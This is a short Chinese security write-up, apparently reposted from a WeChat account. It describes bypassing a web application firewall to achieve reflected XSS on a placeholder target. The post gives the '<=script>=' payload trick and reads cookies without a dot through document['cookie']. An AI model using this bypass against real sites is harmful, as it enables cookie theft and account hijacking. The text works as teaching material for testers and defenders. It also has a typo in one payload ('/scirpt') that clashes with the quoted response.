一则有趣的XSS WAF绕过

admin 2023年12月28日11:01:21评论25 views字数 1051阅读3分30秒阅读模式

声明:所分享内容仅用于网安爱好者之间的技术讨论,禁止用于违法途径,所有渗透都需获取授权!否则需自行承担,作者不承担相应的后果.

测试目标假定为:example.domain.com

产生漏洞的url: 

https://example.domain.com/domain/modules/name.aspx?ak=FUZZ

访问该url时,返回:

<p><span class="red"><span id="ak">FUZZ</span></span></p>

可以看到ak参数的值“FUZZ”反射在响应代码中。因此,尝试注入如下代码:

/name.aspx?ak=<script>alert(“hacked”)</script>

但是在提交此请求时,被重定向到一个错误页面,很明显被阻断了。

尝试了许多不同的payload后,发现在payload中只要使用“<”和“>”就会被重定向到错误页面。在尝试对其进行编码甚至双重编码后,它仍然不起作用。

但我观察到一些有趣的事情:当我在尖括号后放置某些特殊字符时,它们会反射在响应中,而不会触发重定向,如:

/name.aspx?ak=<&

返回:

<p><span class="red"><span id="ak"><&</span></span></p>

当我提交“.”和“=”符号时,它们被剥离了,没有出现在响应中。

/name.aspx?ak=hacked===.

返回:

<p><span class="red"><span id="ak">hacked</span></span></p>

这越来越有趣了。让我们通过在等号前添加尖括号来测试,

/name.aspx?ak=<=hacked>=

返回:

<p><span class="red"><span id="ak"><hacked></span></span></p>

而且没有被重定向,因此,我开始使用相同的方法制作有效载荷,如下所示:

<=script>=alert("hacked")<=/scirpt>=

返回:

<p><span class="red"><span id="ak"><script>alert("hacked")</script></span></span></p>

一则有趣的XSS WAF绕过

成功了,但这里有一个小问题:我无法弹出 cookie,因为服务器删除了“.”符号。

经过一些研究,我发现了在不使用“.”符号的情况下获得它的方法,例如:

alert(document["cookie"])

原文始发于微信公众号(薯条机器猫):一则有趣的XSS WAF绕过

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月28日11:01:21
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   一则有趣的XSS WAF绕过http://cn-sec.com/archives/2342661.html

发表评论

匿名网友 填写信息